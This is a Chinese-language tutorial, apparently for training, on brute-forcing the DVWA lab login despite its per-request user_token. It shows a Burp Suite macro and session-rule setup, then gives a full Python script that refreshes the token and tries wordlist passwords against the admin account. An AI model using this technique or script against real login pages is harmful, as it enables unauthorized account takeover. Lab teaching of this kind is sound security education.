0x00 前言
一些web网站为了增强自己的安全性,会在请求中添加token,每一次请求服务端校验token是否正确,同时返回新的token给客户端。本文以dvwa为例,介绍遇到以上情况时如何应对
0x01 利用Burp模块解决
我们搭建dwva为例,分析dvwa的登录过程,发现了user_token参数阻止了我们常规的口令爆破。
此处,我们的目标是让burpsuite自动获取并更新该参数
首先,点击burp的project options- sessions模块,找到macros宏录制功能,add添加一个宏
选择一条响应包中包含user_token参数的url,点击ok
点击configure item,再点击add
双击选中user_token的值,然后点击ok
ok保存完成后,到此,我们就成功录制了一个宏
接下来找到session handlingrules,add添加一条规则
点击run a macro
选择刚刚录制的宏,然后点击update only the following parameters,参数名填user_token(爆破过程中需要更新的参数)
添加并保存后,找到scope选项设置生效的范围,由于这里只演示爆破操作,所以范围选择intruder,url选择包含所有url
设置完毕后就可以愉快的爆破了,可以看到每一次请求user_token会自动更新。需要注意的是由于服务端更新token存在一个时间间隔,所以建议爆破时将线程调低一点
验证下,筛选结果,当密码正确时,响应包中有index.php关键字,进一步得出dvwa的密码是password
0x02 利用Python脚本解决
以上是使用burpsuite处理token的方法,当然也可以写个脚本完成获取token并爆破的过程,下面给出Python代码供读者参考
1. import re 2. import sys 3. import requests 4. 5. # 获取user_token参数值 6. def get_token(url): 7. global conn 8. conn = requests.session() 9. req = conn.get(url=url,verify=False) 10. pat = "name='user_token' value='(.*?)'" 11. user_token = re.compile(pat).findall(req.text)[0] 12. return user_token 13. 14. def brute_login(url,token,passwd): 15. # 爆破时使用burp代理 16. proxies = { 17. "http": "http://127.0.0.1:8080", 18. "https": "http://127.0.0.1:8080" 19. } 20. payload = {'username': 'admin', 'password': passwd, 'Login': 'Login', 'user_token': token} 21. req = conn.post(url=url,data=payload,proxies=proxies,verify=False) 22. # 根据响应包中是否包含Login failed来判断密码是否正确 23. if "Login failed" not in req.text: 24. # 爆破完成后打印密码并退出 25. print("密码是:",passwd) 26. sys.exit() 27. 28. def main(): 29. url = "http://127.0.0.1/dvwa/login.php" 30. # 加载密码字典 31. f = open('pass.txt') 32. for line in f.readlines(): 33. user_token = get_token(url) 34. brute_login(url,user_token,line.strip()) 35. f.close() 36. 37. if __name__ == '__main__': 38. main()